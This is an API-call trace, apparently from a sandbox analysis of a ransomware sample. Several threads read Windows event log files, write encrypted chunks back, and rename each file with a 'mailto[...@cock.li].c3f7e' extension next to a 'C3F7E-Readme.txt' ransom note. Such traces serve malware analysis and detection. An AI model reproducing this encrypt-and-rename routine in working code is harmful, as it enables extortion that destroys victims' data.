	[0074.351] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.351] ReadFile (in: hFile=0x820, lpBuffer=0x2de9f58, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x830fa70, lpOverlapped=0x0 | out: lpBuffer=0x2de9f58*, lpNumberOfBytesRead=0x830fa70*=0xc800, lpOverlapped=0x0) returned 1
	[0074.353] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73b70
	[0074.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0074.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2df6760
	[0074.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0074.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73b70) returned 1
	[0074.354] WriteFile (in: hFile=0x820, lpBuffer=0x2df6760*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x830fa70, lpOverlapped=0x0 | out: lpBuffer=0x2df6760*, lpNumberOfBytesWritten=0x830fa70*=0xc800, lpOverlapped=0x0) returned 1
	[0076.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df6760) returned 1
	[0076.675] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2de9f58) returned 1
	[0076.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x71) returned 0x2d60548
	[0076.680] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.681] WriteFile (in: hFile=0x820, lpBuffer=0x2d89690*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x830faf0, lpOverlapped=0x0 | out: lpBuffer=0x2d89690*, lpNumberOfBytesWritten=0x830faf0*=0x155, lpOverlapped=0x0) returned 1
	[0077.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0077.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60ac8) returned 1
	[0077.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0077.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60548) returned 1
	[0077.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0077.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0077.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0077.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0077.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476c158
	[0077.531] wcscpy (in: _Dest=0x476c158, _Source="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx"
	[0077.531] wcscat (in: _Dest=0x476c158, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0077.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x830faa8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0077.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44d00
	[0087.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44d00) returned 1
	[0087.823] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9c60) returned 1
	[0087.823] NtQueryInformationFile (in: FileHandle=0x820, IoStatusBlock=0x830fab4, FileInformation=0x830fa8c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x830fab4, FileInformation=0x830fa8c) returned 0x0
	[0087.823] NtSetInformationFile (FileHandle=0x820, IoStatusBlock=0x830fab4, FileInformation=0x830fa8c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c158) returned 1
	[0087.824] FlushFileBuffers (hFile=0x820) returned 1
	[0093.242] CloseHandle (hObject=0x820) 

Thread:
	id = 138
	os_tid = 0xeb4

	[0074.356] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20
	[0074.356] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.356] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x824
	[0074.356] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x838f800 | out: lpFileSize=0x838f800*=2166784) returned 1
	[0074.356] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x210ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.356] ReadFile (in: hFile=0x824, lpBuffer=0x838f784, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x838f780, lpOverlapped=0x0 | out: lpBuffer=0x838f784*, lpNumberOfBytesRead=0x838f780*=0x4, lpOverlapped=0x0) returned 1
	[0074.358] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0074.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0074.358] NtQuerySystemTime (in: CurrentTime=0x838f760 | out: CurrentTime=0x838f760*=132251868010883438) returned 0x0
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x945611e9
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x10e4ce52
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x9813f39b
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x362b837
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xcd43483
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x6806508c
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xb8d57cf4
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x5496f212
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xa709eb16
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xbec3199e
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xe0800d5e
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xd7f81a9b
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x5bf1941c
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xf1a047ea
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x121d7851
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x903ef1c1
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xf935c86d
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x94f80713
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xcb39d525
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x8f84300e
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xbaa7a9cd
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xca252ab
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x2203264f
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xcb07663c
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x5b289fba
	[0074.358] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x3e3349fc
	[0074.359] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x4b86e750
	[0074.359] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xc8066d0c
	[0074.359] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0xb288c99
	[0074.359] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x47ee6dc5
	[0074.359] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x684bc712
	[0074.359] RtlRandom (in: Seed=0x838f76c | out: Seed=0x838f76c) returned 0x7bbadc91
	[0074.368] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.368] ReadFile (in: hFile=0x824, lpBuffer=0x2e02f68, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x838f718, lpOverlapped=0x0 | out: lpBuffer=0x2e02f68*, lpNumberOfBytesRead=0x838f718*=0xc800, lpOverlapped=0x0) returned 1
	[0074.369] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.369] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e0f770
	[0074.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0074.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0074.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0074.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.371] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.371] WriteFile (in: hFile=0x824, lpBuffer=0x2e0f770*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x838f718, lpOverlapped=0x0 | out: lpBuffer=0x2e0f770*, lpNumberOfBytesWritten=0x838f718*=0xc800, lpOverlapped=0x0) returned 1
	[0074.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e0f770) returned 1
	[0074.375] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x113000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.375] ReadFile (in: hFile=0x824, lpBuffer=0x2e02f68, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x838f718, lpOverlapped=0x0 | out: lpBuffer=0x2e02f68*, lpNumberOfBytesRead=0x838f718*=0xc800, lpOverlapped=0x0) returned 1
	[0074.387] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x113000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.387] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.387] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0074.388] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e1bf78
	[0074.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0074.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0074.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.391] WriteFile (in: hFile=0x824, lpBuffer=0x2e1bf78*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x838f718, lpOverlapped=0x0 | out: lpBuffer=0x2e1bf78*, lpNumberOfBytesWritten=0x838f718*=0xc800, lpOverlapped=0x0) returned 1
	[0074.396] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e1bf78) returned 1
	[0074.396] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x204800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.396] ReadFile (in: hFile=0x824, lpBuffer=0x2e02f68, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x838f718, lpOverlapped=0x0 | out: lpBuffer=0x2e02f68*, lpNumberOfBytesRead=0x838f718*=0xc800, lpOverlapped=0x0) returned 1
	[0074.398] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x204800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73ae0
	[0074.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.398] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0074.399] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e1bf78
	[0074.399] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0074.399] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0074.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.400] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73ae0) returned 1
	[0074.400] WriteFile (in: hFile=0x824, lpBuffer=0x2e1bf78*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x838f718, lpOverlapped=0x0 | out: lpBuffer=0x2e1bf78*, lpNumberOfBytesWritten=0x838f718*=0xc800, lpOverlapped=0x0) returned 1
	[0074.401] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e1bf78) returned 1
	[0074.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47339a0
	[0074.401] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.401] WriteFile (in: hFile=0x824, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x1a1, lpNumberOfBytesWritten=0x838f7c0, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x838f7c0*=0x1a1, lpOverlapped=0x0) returned 1
	[0074.551] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.551] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35368) returned 1
	[0074.551] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.551] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e351d0) returned 1
	[0074.551] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0074.551] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0074.551] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.551] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0074.551] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x2d7ec98
	[0074.551] wcscpy (in: _Dest=0x2d7ec98, _Source="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx"
	[0074.551] wcscat (in: _Dest=0x2d7ec98, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.551] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x838f778, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.551] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x2d896d0
	[0074.553] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d896d0) returned 1
	[0074.553] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6ff90) returned 1
	[0074.553] NtQueryInformationFile (in: FileHandle=0x824, IoStatusBlock=0x838f784, FileInformation=0x838f75c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x838f784, FileInformation=0x838f75c) returned 0x0
	[0074.553] NtSetInformationFile (FileHandle=0x824, IoStatusBlock=0x838f784, FileInformation=0x838f75c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.554] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ec98) returned 1
	[0074.554] FlushFileBuffers (hFile=0x824) returned 1
	[0074.614] CloseHandle (hObject=0x824) returned 1
	[0074.625] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70c40
	[0074.625] wcscpy (in: _Dest=0x2d70c40, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.625] wcscat (in: _Dest=0x2d70c40, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.625] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.625] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c40) returned 1
	[0074.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b660) returned 1

Thread:
	id = 139
	os_tid = 0x4c0

	[0074.369] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20
	[0074.373] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", dwFileAttributes=0x20) returned 1
	[0074.374] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x81c
	[0074.374] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x840faf0 | out: lpFileSize=0x840faf0*=69632) returned 1
	[0074.374] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.374] ReadFile (in: hFile=0x81c, lpBuffer=0x840fa74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x840fa70, lpOverlapped=0x0 | out: lpBuffer=0x840fa74*, lpNumberOfBytesRead=0x840fa70*=0x4, lpOverlapped=0x0) returned 1
	[0074.377] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0074.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.377] NtQuerySystemTime (in: CurrentTime=0x840fa50 | out: CurrentTime=0x840fa50*=132251868011195791) returned 0x0
	[0074.377] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0xb4167bab
	[0074.377] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x9fa46b00
	[0074.377] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x19337de5
	[0074.377] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x7f689e0d
	[0074.377] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0xd9d8a0ee
	[0074.377] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x80cb98c6
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x4c194fc5
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x421035e5
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x2491016f
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x4b82e1f7
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x394b875
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x7cefc08e
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x361f1546
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x49944fd7
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0xcdefea79
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x4fa51595
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0xa8eabee7
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x80447cd1
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0xe5646617
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x5a2e5b61
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0xd6464f73
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x931aa8da
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x41cae8fc
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0xeba17c76
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x7f827523
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x4af1d3c7
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0xe7319a23
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x383e2ade
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x4eea1154
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x91e77cc8
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x832ea4e6
	[0074.378] RtlRandom (in: Seed=0x840fa5c | out: Seed=0x840fa5c) returned 0x299f89e4
	[0074.386] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.386] ReadFile (in: hFile=0x81c, lpBuffer=0x2e0f770, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x840fa30, lpOverlapped=0x0 | out: lpBuffer=0x2e0f770*, lpNumberOfBytesRead=0x840fa30*=0xc800, lpOverlapped=0x0) returned 1
	[0074.392] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0074.392] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0074.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2e28780
	[0074.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0074.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0074.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
